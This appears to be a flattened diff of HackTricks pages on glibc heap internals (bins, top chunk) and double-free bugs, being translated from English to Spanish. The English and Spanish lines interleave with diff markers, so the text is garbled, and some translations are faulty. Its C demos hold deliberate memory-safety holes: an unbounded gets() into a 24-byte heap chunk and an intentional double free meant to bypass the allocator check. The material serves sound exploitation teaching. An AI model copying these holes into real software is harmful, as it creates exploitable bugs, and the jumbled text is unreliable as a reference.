> Note that even if chunks are of different categories, if an available chunk is colliding with another available chunk (even if they belong originally to different bins), they will be merged. > Ten en cuenta que incluso si los chunks son de diferentes categorías, si un chunk disponible está colisionando con otro chunk disponible (incluso si originalmente pertenecen a diferentes bins), serán fusionados.
<details> <details>
<summary>Add a unsorted chunk example</summary> <summary>Agregar un ejemplo de chunk no ordenado</summary>
```c ```c
#include <stdlib.h> #include <stdlib.h>
#include <stdio.h> #include <stdio.h>
int main(void) int main(void)
{ {
char *chunks[9]; char *chunks[9];
int i; int i;
// Loop to allocate memory 8 times // Loop to allocate memory 8 times
for (i = 0; i < 9; i++) { for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100); chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i); fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1; return 1;
} }
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
} }
// Loop to free the allocated memory // Loop to free the allocated memory
for (i = 0; i < 8; i++) { for (i = 0; i < 8; i++) {
free(chunks[i]); free(chunks[i]);
} }
return 0; return 0;
} }
``` ```
Nota cómo asignamos y liberamos 9 trozos del mismo tamaño para que **llenan el tcache** y el octavo se almacena en el contenedor no ordenado porque es **demasiado grande para el fastbin** y el noveno no se libera, por lo que el noveno y el octavo **no se fusionan con el trozo superior**.
Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the nineth one isn't freed so the nineth and the eighth **don't get merged with the top chunk**. Compílalo y depúralo con un punto de interrupción en el opcode `ret` de la función `main`. Luego, con `gef`, puedes ver que el contenedor tcache está lleno y un trozo está en el contenedor no ordenado:
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. Then with `gef` you can see that the tcache bin is full and one chunk is in the unsorted bin:
```bash ```bash
gef➤ heap bins gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -319,23 +302,21 @@ Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00 Fastbins[idx=6, size=0x80] 0x00
─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ─────────────────────────────────────────────────────────────────────── ─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ───────────────────────────────────────────────────────────────────────
[+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10 [+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) → Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in unsorted bin. [+] Found 1 chunks in unsorted bin.
``` ```
</details> </details>
### Small Bins ### Small Bins
Small bins are faster than large bins but slower than fast bins. Los small bins son más rápidos que los large bins pero más lentos que los fast bins.
Each bin of the 62 will have **chunks of the same size**: 16, 24, ... (with a max size of 504 bytes in 32bits and 1024 in 64bits). This helps in the speed on finding the bin where a space should be allocated and inserting and removing of entries on these lists. Cada bin de los 62 tendrá **chunks del mismo tamaño**: 16, 24, ... (con un tamaño máximo de 504 bytes en 32 bits y 1024 en 64 bits). Esto ayuda en la velocidad para encontrar el bin donde se debe asignar un espacio e insertar y eliminar entradas en estas listas.
This is how the size of the small bin is calculated according to the index of the bin: Así es como se calcula el tamaño del small bin según el índice del bin:
- Smallest size: 2\*4\*index (e.g. index 5 -> 40)
- Biggest size: 2\*8\*index (e.g. index 5 -> 80)
- Tamaño más pequeño: 2\*4\*índice (por ejemplo, índice 5 -> 40)
- Tamaño más grande: 2\*8\*índice (por ejemplo, índice 5 -> 80)
```c ```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define NSMALLBINS 64 #define NSMALLBINS 64
@ -344,58 +325,52 @@ This is how the size of the small bin is calculated according to the index of th
#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH) #define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
#define in_smallbin_range(sz) \ #define in_smallbin_range(sz) \
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE) ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
#define smallbin_index(sz) \ #define smallbin_index(sz) \
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\ ((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
+ SMALLBIN_CORRECTION) + SMALLBIN_CORRECTION)
``` ```
Función para elegir entre bins pequeños y grandes:
Function to choose between small and large bins:
```c ```c
#define bin_index(sz) \ #define bin_index(sz) \
((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz)) ((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
``` ```
<details> <details>
<summary>Add a small chunk example</summary> <summary>Agrega un pequeño ejemplo</summary>
```c ```c
#include <stdlib.h> #include <stdlib.h>
#include <stdio.h> #include <stdio.h>
int main(void) int main(void)
{ {
char *chunks[10]; char *chunks[10];
int i; int i;
// Loop to allocate memory 8 times // Loop to allocate memory 8 times
for (i = 0; i < 9; i++) { for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100); chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i); fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1; return 1;
} }
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
} }
// Loop to free the allocated memory // Loop to free the allocated memory
for (i = 0; i < 8; i++) { for (i = 0; i < 8; i++) {
free(chunks[i]); free(chunks[i]);
} }
chunks[9] = malloc(0x110); chunks[9] = malloc(0x110);
return 0; return 0;
} }
``` ```
Nota cómo asignamos y liberamos 9 trozos del mismo tamaño para que **llenan el tcache** y el octavo se almacena en el contenedor no ordenado porque es **demasiado grande para el fastbin** y el noveno no se libera, por lo que el noveno y el octavo **no se fusionan con el trozo superior**. Luego, asignamos un trozo más grande de 0x110, lo que hace que **el trozo en el contenedor no ordenado pase al contenedor pequeño**.
Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the ninth one isn't freed so the ninth and the eights **don't get merged with the top chunk**. Then we allocate a bigger chunk of 0x110 which makes **the chunk in the unsorted bin goes to the small bin**. Compílalo y depúralo con un punto de interrupción en el opcode `ret` de la función `main`. Luego, con `gef`, puedes ver que el contenedor tcache está lleno y un trozo está en el contenedor pequeño:
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the small bin:
```bash ```bash
gef➤ heap bins gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -412,96 +387,90 @@ Fastbins[idx=6, size=0x80] 0x00
[+] Found 0 chunks in unsorted bin. [+] Found 0 chunks in unsorted bin.
──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ──────────────────────────────────────────────────────────────────────── ──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
[+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10 [+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) → Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in 1 small non-empty bins. [+] Found 1 chunks in 1 small non-empty bins.
``` ```
</details> </details>
### Large bins ### Bins grandes
Unlike small bins, which manage chunks of fixed sizes, each **large bin handle a range of chunk sizes**. This is more flexible, allowing the system to accommodate **various sizes** without needing a separate bin for each size. A diferencia de los bins pequeños, que gestionan trozos de tamaños fijos, cada **bin grande maneja un rango de tamaños de trozos**. Esto es más flexible, permitiendo que el sistema acomode **varios tamaños** sin necesidad de un bin separado para cada tamaño.
In a memory allocator, large bins start where small bins end. The ranges for large bins grow progressively larger, meaning the first bin might cover chunks from 512 to 576 bytes, while the next covers 576 to 640 bytes. This pattern continues, with the largest bin containing all chunks above 1MB. En un asignador de memoria, los bins grandes comienzan donde terminan los bins pequeños. Los rangos para los bins grandes crecen progresivamente, lo que significa que el primer bin podría cubrir trozos de 512 a 576 bytes, mientras que el siguiente cubre de 576 a 640 bytes. Este patrón continúa, con el bin más grande conteniendo todos los trozos por encima de 1MB.
Large bins are slower to operate compared to small bins because they must **sort and search through a list of varying chunk sizes to find the best fit** for an allocation. When a chunk is inserted into a large bin, it has to be sorted, and when memory is allocated, the system must find the right chunk. This extra work makes them **slower**, but since large allocations are less common than small ones, it's an acceptable trade-off. Los bins grandes son más lentos de operar en comparación con los bins pequeños porque deben **ordenar y buscar a través de una lista de tamaños de trozos variables para encontrar el mejor ajuste** para una asignación. Cuando un trozo se inserta en un bin grande, debe ser ordenado, y cuando se asigna memoria, el sistema debe encontrar el trozo correcto. Este trabajo extra los hace **más lentos**, pero dado que las asignaciones grandes son menos comunes que las pequeñas, es un compromiso aceptable.
There are: Hay:
- 32 bins of 64B range (collide with small bins) - 32 bins de rango 64B (colisionan con bins pequeños)
- 16 bins of 512B range (collide with small bins) - 16 bins de rango 512B (colisionan con bins pequeños)
- 8bins of 4096B range (part collide with small bins) - 8 bins de rango 4096B (parte colisionan con bins pequeños)
- 4bins of 32768B range - 4 bins de rango 32768B
- 2bins of 262144B range - 2 bins de rango 262144B
- 1bin for remaining sizes - 1 bin para tamaños restantes
<details> <details>
<summary>Large bin sizes code</summary> <summary>Código de tamaños de bin grande</summary>
```c ```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define largebin_index_32(sz) \ #define largebin_index_32(sz) \
(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\ (((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126) 126)
#define largebin_index_32_big(sz) \ #define largebin_index_32_big(sz) \
(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\ (((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126) 126)
// XXX It remains to be seen whether it is good to keep the widths of // XXX It remains to be seen whether it is good to keep the widths of
// XXX the buckets the same or whether it should be scaled by a factor // XXX the buckets the same or whether it should be scaled by a factor
// XXX of two as well. // XXX of two as well.
#define largebin_index_64(sz) \ #define largebin_index_64(sz) \
(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\ (((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126) 126)
#define largebin_index(sz) \ #define largebin_index(sz) \
(SIZE_SZ == 8 ? largebin_index_64 (sz) \ (SIZE_SZ == 8 ? largebin_index_64 (sz) \
: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \ : MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \
: largebin_index_32 (sz)) : largebin_index_32 (sz))
``` ```
</details> </details>
<details> <details>
<summary>Add a large chunk example</summary> <summary>Agregar un ejemplo de un gran fragmento</summary>
```c ```c
#include <stdlib.h> #include <stdlib.h>
#include <stdio.h> #include <stdio.h>
int main(void) int main(void)
{ {
char *chunks[2]; char *chunks[2];
chunks[0] = malloc(0x1500); chunks[0] = malloc(0x1500);
chunks[1] = malloc(0x1500); chunks[1] = malloc(0x1500);
free(chunks[0]); free(chunks[0]);
chunks[0] = malloc(0x2000); chunks[0] = malloc(0x2000);
return 0; return 0;
} }
``` ```
Se realizan 2 asignaciones grandes, luego se libera una (colocándola en el contenedor no ordenado) y se realiza una asignación más grande (moviendo la liberada del contenedor no ordenado al contenedor grande).
2 large allocations are performed, then on is freed (putting it in the unsorted bin) and a bigger allocation in made (moving the free one from the usorted bin ro the large bin). Compílalo y depúralo con un punto de interrupción en el opcode `ret` de la función `main`. Luego, con `gef`, puedes ver que el contenedor tcache está lleno y un chunk está en el contenedor grande:
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the large bin:
```bash ```bash
gef➤ heap bin gef➤ heap bin
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -520,117 +489,108 @@ Fastbins[idx=6, size=0x80] 0x00
[+] Found 0 chunks in 0 small non-empty bins. [+] Found 0 chunks in 0 small non-empty bins.
──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ──────────────────────────────────────────────────────────────────────── ──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
[+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290 [+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290
→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) → Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in 1 large non-empty bins. [+] Found 1 chunks in 1 large non-empty bins.
``` ```
</details> </details>
### Top Chunk ### Parte Superior
```c ```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
/* /*
Top Top
The top-most available chunk (i.e., the one bordering the end of The top-most available chunk (i.e., the one bordering the end of
available memory) is treated specially. It is never included in available memory) is treated specially. It is never included in
any bin, is used only if no other chunk is available, and is any bin, is used only if no other chunk is available, and is
released back to the system if it is very large (see released back to the system if it is very large (see
M_TRIM_THRESHOLD). Because top initially M_TRIM_THRESHOLD). Because top initially
points to its own bin with initial zero size, thus forcing points to its own bin with initial zero size, thus forcing
extension on the first malloc request, we avoid having any special extension on the first malloc request, we avoid having any special
code in malloc to check whether it even exists yet. But we still code in malloc to check whether it even exists yet. But we still
need to do so when getting memory from system, so we make need to do so when getting memory from system, so we make
initial_top treat the bin as a legal but unusable chunk during the initial_top treat the bin as a legal but unusable chunk during the
interval between initialization and the first call to interval between initialization and the first call to
sysmalloc. (This is somewhat delicate, since it relies on sysmalloc. (This is somewhat delicate, since it relies on
the 2 preceding words to be zero during this interval as well.) the 2 preceding words to be zero during this interval as well.)
*/ */
/* Conveniently, the unsorted bin can be used as dummy top on first call */ /* Conveniently, the unsorted bin can be used as dummy top on first call */
#define initial_top(M) (unsorted_chunks (M)) #define initial_top(M) (unsorted_chunks (M))
``` ```
Básicamente, este es un trozo que contiene toda la memoria heap disponible actualmente. Cuando se realiza un malloc, si no hay ningún trozo libre disponible para usar, este trozo superior reducirá su tamaño para dar el espacio necesario.\
El puntero al Top Chunk se almacena en la estructura `malloc_state`.
Basically, this is a chunk containing all the currently available heap. When a malloc is performed, if there isn't any available free chunk to use, this top chunk will be reducing its size giving the necessary space.\ Además, al principio, es posible usar el trozo no ordenado como el trozo superior.
The pointer to the Top Chunk is stored in the `malloc_state` struct.
Moreover, at the beginning, it's possible to use the unsorted chunk as the top chunk.
<details> <details>
<summary>Observe the Top Chunk example</summary> <summary>Observe el ejemplo del Top Chunk</summary>
```c ```c
#include <stdlib.h> #include <stdlib.h>
#include <stdio.h> #include <stdio.h>
int main(void) int main(void)
{ {
char *chunk; char *chunk;
chunk = malloc(24); chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk); printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk); gets(chunk);
return 0; return 0;
} }
``` ```
Después de compilar y depurar con un punto de interrupción en el opcode `ret` de `main`, vi que el malloc devolvió la dirección `0xaaaaaaac12a0` y estos son los chunks:
After compiling and debugging it with a break point in the `ret` opcode of `main` I saw that the malloc returned the address `0xaaaaaaac12a0` and these are the chunks:
```bash ```bash
gef➤ heap chunks gef➤ heap chunks
Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................] [0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........] [0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........]
Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c] [0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c]
Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........] [0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
``` ```
Donde se puede ver que el chunk superior está en la dirección `0xaaaaaaac1ae0`. Esto no es una sorpresa porque el último chunk asignado estaba en `0xaaaaaaac12a0` con un tamaño de `0x410` y `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`.\
Where it can be seen that the top chunk is at address `0xaaaaaaac1ae0`. This is no surprise because the last allocated chunk was in `0xaaaaaaac12a0` with a size of `0x410` and `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` .\ También es posible ver la longitud del chunk superior en su encabezado de chunk:
It's also possible to see the length of the Top chunk on its chunk header:
```bash ```bash
gef➤ x/8wx 0xaaaaaaac1ae0 - 16 gef➤ x/8wx 0xaaaaaaac1ae0 - 16
0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000 0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000
0xaaaaaaac1ae0: 0x00000000 0x00000000 0x00000000 0x00000000 0xaaaaaaac1ae0: 0x00000000 0x00000000 0x00000000 0x00000000
``` ```
</details> </details>
### Last Remainder ### Último Resto
When malloc is used and a chunk is divided (from the unsorted bin or from the top chunk for example), the chunk created from the rest of the divided chunk is called Last Remainder and it's pointer is stored in the `malloc_state` struct. Cuando se utiliza malloc y un chunk se divide (por ejemplo, desde el bin no ordenado o desde el chunk superior), el chunk creado a partir del resto del chunk dividido se llama Último Resto y su puntero se almacena en la estructura `malloc_state`.
## Allocation Flow ## Flujo de Asignación
Check out: Consulta:
{{#ref}} {{#ref}}
heap-memory-functions/malloc-and-sysmalloc.md heap-memory-functions/malloc-and-sysmalloc.md
{{#endref}} {{#endref}}
## Free Flow ## Flujo de Liberación
Check out: Consulta:
{{#ref}} {{#ref}}
heap-memory-functions/free.md heap-memory-functions/free.md
{{#endref}} {{#endref}}
## Heap Functions Security Checks ## Comprobaciones de Seguridad de Funciones de Heap
Check the security checks performed by heavily used functions in heap in: Revisa las comprobaciones de seguridad realizadas por funciones de uso intensivo en heap en:
{{#ref}} {{#ref}}
heap-memory-functions/heap-functions-security-checks.md heap-memory-functions/heap-functions-security-checks.md
{{#endref}} {{#endref}}
## References ## Referencias
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/) - [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)

View File

@ -1,92 +1,90 @@
# Double Free # Doble Liberación
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
If you free a block of memory more than once, it can mess up the allocator's data and open the door to attacks. Here's how it happens: when you free a block of memory, it goes back into a list of free chunks (e.g. the "fast bin"). If you free the same block twice in a row, the allocator detects this and throws an error. But if you **free another chunk in between, the double-free check is bypassed**, causing corruption. Si liberas un bloque de memoria más de una vez, puede desordenar los datos del asignador y abrir la puerta a ataques. Así es como sucede: cuando liberas un bloque de memoria, vuelve a una lista de fragmentos libres (por ejemplo, el "fast bin"). Si liberas el mismo bloque dos veces seguidas, el asignador detecta esto y lanza un error. Pero si **liberas otro fragmento en medio, se omite la verificación de doble liberación**, causando corrupción.
Now, when you ask for new memory (using `malloc`), the allocator might give you a **block that's been freed twice**. This can lead to two different pointers pointing to the same memory location. If an attacker controls one of those pointers, they can change the contents of that memory, which can cause security issues or even allow them to execute code. Ahora, cuando pides nueva memoria (usando `malloc`), el asignador podría darte un **bloque que ha sido liberado dos veces**. Esto puede llevar a que dos punteros diferentes apunten a la misma ubicación de memoria. Si un atacante controla uno de esos punteros, puede cambiar el contenido de esa memoria, lo que puede causar problemas de seguridad o incluso permitirles ejecutar código.
Example:
Ejemplo:
```c ```c
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
int main() { int main() {
// Allocate memory for three chunks // Allocate memory for three chunks
char *a = (char *)malloc(10); char *a = (char *)malloc(10);
char *b = (char *)malloc(10); char *b = (char *)malloc(10);
char *c = (char *)malloc(10); char *c = (char *)malloc(10);
char *d = (char *)malloc(10); char *d = (char *)malloc(10);
char *e = (char *)malloc(10); char *e = (char *)malloc(10);
char *f = (char *)malloc(10); char *f = (char *)malloc(10);
char *g = (char *)malloc(10); char *g = (char *)malloc(10);
char *h = (char *)malloc(10); char *h = (char *)malloc(10);
char *i = (char *)malloc(10); char *i = (char *)malloc(10);
// Print initial memory addresses // Print initial memory addresses
printf("Initial allocations:\n"); printf("Initial allocations:\n");
printf("a: %p\n", (void *)a); printf("a: %p\n", (void *)a);
printf("b: %p\n", (void *)b); printf("b: %p\n", (void *)b);
printf("c: %p\n", (void *)c); printf("c: %p\n", (void *)c);
printf("d: %p\n", (void *)d); printf("d: %p\n", (void *)d);
printf("e: %p\n", (void *)e); printf("e: %p\n", (void *)e);
printf("f: %p\n", (void *)f); printf("f: %p\n", (void *)f);
printf("g: %p\n", (void *)g); printf("g: %p\n", (void *)g);
printf("h: %p\n", (void *)h); printf("h: %p\n", (void *)h);
printf("i: %p\n", (void *)i); printf("i: %p\n", (void *)i);
// Fill tcache // Fill tcache
free(a); free(a);
free(b); free(b);
free(c); free(c);
free(d); free(d);
free(e); free(e);
free(f); free(f);
free(g); free(g);
// Introduce double-free vulnerability in fast bin // Introduce double-free vulnerability in fast bin
free(h); free(h);
free(i); free(i);
free(h); free(h);
// Reallocate memory and print the addresses // Reallocate memory and print the addresses
char *a1 = (char *)malloc(10); char *a1 = (char *)malloc(10);
char *b1 = (char *)malloc(10); char *b1 = (char *)malloc(10);
char *c1 = (char *)malloc(10); char *c1 = (char *)malloc(10);
char *d1 = (char *)malloc(10); char *d1 = (char *)malloc(10);
char *e1 = (char *)malloc(10); char *e1 = (char *)malloc(10);
char *f1 = (char *)malloc(10); char *f1 = (char *)malloc(10);
char *g1 = (char *)malloc(10); char *g1 = (char *)malloc(10);
char *h1 = (char *)malloc(10); char *h1 = (char *)malloc(10);
char *i1 = (char *)malloc(10); char *i1 = (char *)malloc(10);
char *i2 = (char *)malloc(10); char *i2 = (char *)malloc(10);
// Print initial memory addresses // Print initial memory addresses
printf("After reallocations:\n"); printf("After reallocations:\n");
printf("a1: %p\n", (void *)a1); printf("a1: %p\n", (void *)a1);
printf("b1: %p\n", (void *)b1); printf("b1: %p\n", (void *)b1);
printf("c1: %p\n", (void *)c1); printf("c1: %p\n", (void *)c1);
printf("d1: %p\n", (void *)d1); printf("d1: %p\n", (void *)d1);
printf("e1: %p\n", (void *)e1); printf("e1: %p\n", (void *)e1);
printf("f1: %p\n", (void *)f1); printf("f1: %p\n", (void *)f1);
printf("g1: %p\n", (void *)g1); printf("g1: %p\n", (void *)g1);
printf("h1: %p\n", (void *)h1); printf("h1: %p\n", (void *)h1);
printf("i1: %p\n", (void *)i1); printf("i1: %p\n", (void *)i1);
printf("i2: %p\n", (void *)i2); printf("i2: %p\n", (void *)i2);
return 0; return 0;
} }
``` ```
